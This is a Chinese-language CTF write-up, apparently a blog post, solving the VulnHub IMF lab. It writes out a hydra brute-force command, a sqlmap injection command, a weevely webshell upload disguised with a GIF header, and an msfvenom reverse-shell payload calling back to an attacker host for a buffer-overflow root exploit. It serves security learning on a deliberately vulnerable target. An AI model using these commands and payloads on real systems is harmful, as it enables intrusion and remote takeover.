VulnHub-IMF-靶机渗透学习

靶机地址:https://www.vulnhub.com/entry/imf-1,162/
靶机难度:中级(CTF)
靶机描述:欢迎使用“ IMF”,这是我的第一个Boot2Root虚拟机。IMF是一个情报机构,您必须骇入所有标志并最终扎根。这些标志起步容易,随着您的前进而变得越来越难。每个标志都包含下一个标志的提示。我希望您喜欢这个虚拟机并学到一些东西。
目标:得到root权限&找到六个flag.txt
作者:嗯嗯呐

信息收集

Nmap 扫描,确认靶机地址
在这里插入图片描述

nmap端口扫描
在这里插入图片描述

只发现了80端口
访问80端口
在这里插入图片描述

在concat.php网页源代码中发现了第一个flag
在这里插入图片描述

在介绍中说明每找到一个flag会得到第二个flag提示
Flag1应该是base64编码的,对flag1进行解码
在这里插入图片描述

获得明文 allthefiles,但是没懂什么意思
在源代码页面中发现有几个JS的名字不太对劲,像是base64编码的
在这里插入图片描述

对eVlYUnZjZz09fQ==文件名进行解码
在这里插入图片描述

发现失败,感觉应该是三个文件名字在一起组合成一个文件,这里明白了flag1的提示
在这里插入图片描述

获得flag2,并对flag2解码
在这里插入图片描述

获得明文imfadministrator
看一看是不是目录
在这里插入图片描述

一个登陆界面
在这里插入图片描述

通过常用的admin 等用户试了试感觉不行,看网页源代码。
提示:我不能让SQL工作,所以我硬编码的密码。它仍然很安全。——罗杰
在这里插入图片描述

sqlmap没跑出来结果
界面的报错机制,提示不存在此用户名,可以借此试试能不能先猜出用户名
在这里插入图片描述

在之前访问的contacct.php界面中,在三个人员的名字,可以把它们分别试一下进去看看
在这里插入图片描述

PHP数组绕过

rmichaels用户存在,试试能不能爆破出密码
在这里插入图片描述

使用hydra爆破密码

hydra -l rmichaels -P /usr/share/wordlists/rockyou.txt 192.168.16.140 http-post-form "/imfadministrator/:user=^USER^&pass=^PASS^:error"

在这里插入图片描述

获得13个密码,但是都登陆失败
使用Burp Suite截取登陆是的数量包

在这里插入图片描述

截取登陆数据包
在这里插入图片描述

因为提示说明对于参数输入的内容进行了处理,sql注入看来是不行了,只能从其他方面入手了
这里我们利用PHP利用数组‘[ ]’绕过,试一试后台是否使用了不安全的函数进行对密码的验证
php中可以使用数组’[ ]‘绕过的函数有:
sha1
MD5
ereg
strpos
Strcmp
(注:不包括全部)
在这里插入图片描述

获得flag3,对flag3解码看提示
在这里插入图片描述

获得明文:continueTOcms
在获取flag3的地方,还有一个PHP链接
在这里插入图片描述

在前台登陆一下看看web界面,访问这个超链接
在这里可以使用Burp Suite阻断登陆数据包,将pass参数改为数组格式,放开阻断,就可以登陆了
在这里插入图片描述
在这里插入图片描述

访问IMF CMS超链接
在这里插入图片描述

看来半天网页源代码,没发现什么问题,就在参数上看看,发现返回mysql报错,看来可以sql注入了
在这里插入图片描述

使用sqlmap跑一个,pagename参数存在盲注

sqlmap -u 'http://192.168.16.140/imfadministrator/cms.php?pagename=disavowlist' --cookie 'PHPSESSID=7npsgt1p3dh5nmvhhc09r501l0'

在这里插入图片描述

进过查询我们进入了admin库,pages表
在这里插入图片描述

发现了一个目录下有一个文件,试着访问
在这里插入图片描述

一个图片中有一个二维码,解析以下看看,发现flag4
在这里插入图片描述

解码flag4
在这里插入图片描述

getshell

获得一个php访问界面,访问发现是一个文件上传界面,上传过滤文件类型,可上传png、jpg等文件格式

http://192.168.16.140/imfadministrator/uploadr942.php
在这里插入图片描述

此次可以上传jpg、png、gif等文件
使用php一句话木马上传文件,靶机使用waf对eval()等函数进行了过滤,需要做一个绕过waf等检查机制,可以使用linux中weevely生成一个PHP木马
weevely是一款使用python编写的webshell工具(集webshell生成和连接于一身),可以算作是linux下的一款菜刀替代工具(限于php)
在这里插入图片描述

将木马和png、jpg等格式进行拼接,上传注入,需要服务器开启.htaccess,因为该后门依赖于在.htaccess中使web服务器对图片文件进行php解析。
测试发现靶机不支持
我们可以使用gif89a文件头欺骗,配置如下:
在这里插入图片描述

上传成功
在这里插入图片描述

查看网页源代码,获得gif文件上传到服务器的文件名称b9655da8b680
在这里插入图片描述

找到上传的文件路径
在这里插入图片描述

使用weevely连接
在这里插入图片描述

获得www-data用户shell
在这里插入图片描述

获得flag5
在这里插入图片描述
在这里插入图片描述

解码获得提示:agentservices
在这里插入图片描述

缓冲区溢出提权

提示为代理服务
通过提示在靶机中查询agent运行的文件
find / -name agent &>1/dev/unll
&>1/dev/unll:将错误输出到/dev/unll,只显示正确结果
在这里插入图片描述

在这两个目录下有agnet文件
进入bin目录,发现两个文件
在这里插入图片描述

agnet是ELF 32位执行文件
在这里插入图片描述

access_codes,发现提示SYN 7482,8279,9467
提示端口试探,使用knock命令试探一下
查一下端口发现服务器运行7788应该就是agent的端口了
但是前面nmap没有扫描到,端口试探应该是针对这个端口的
在这里插入图片描述

nmap扫描发现了7788端口
在这里插入图片描述

nc连接一下看看,需要使用agent ID
在这里插入图片描述

将agent文件下载到本地

file_download /usr/local/bin/agent /root/agent

在这里插入图片描述
在这里插入图片描述

赋执行权限,使用ltrace跟踪agent在执行过程中调用库函数的情况
在这里插入图片描述

在fgets初随便输入内容,strncmp函数进行将我们输入的内容和agent ID进行对比
再此我们获得agent ID 48093572
执行agent,输入正确的agent
在这里插入图片描述

获得三个选项

  1. 提取分
  2. 请求提取
    3.提交报告
    看来通过缓冲区溢出agent进程,获得root权限了
    为agent进程创建一个shell
    使用msfvenom创建一个shellcode
    msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.16.129 LPORT=6666 -b “\x00\x0a\x0” -f python -o 2.py
    -p 选择payload(此次因为agent是32位,所以使用X86
    LHOST 、LPORT 监测主机IP和端口
    -b 在生成的程序中避免出现的值
    \x00 == 0x00 ASCII控制字符表中对应 NULL (空字符)
    \x0a == 0X0a ASCII控制字符表中对应 LF (换行键)
    \x0b == 0x0b ASCII控制字符表中对应 VT (垂直定位符号)
    -f 指定生成xxx格式
    -o 输入路径和文件
    在这里插入图片描述
    使用大佬写的py脚本,将生成的内容,替换python脚本内容
    在这里插入图片描述
    在这里插入图片描述

nc监测6666端口
在这里插入图片描述

执行python脚本,
在这里插入图片描述

反弹shell,获得靶机root权限
在这里插入图片描述

获得flag6
在这里插入图片描述

Base64解码
在这里插入图片描述

完成!!!

总结

这个靶机设计的方面很多,在缓冲区溢出这里卡了好几天,才基本明白一点利用方式和原理,建议想做flag6的,但不太明白缓冲区溢出原理的,到flag6时先去B站看一看视频,至少不会一头雾水了。
上面只是一种思路,仅供参考。本章渗透思路如下图:

在这里插入图片描述

  • 3
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值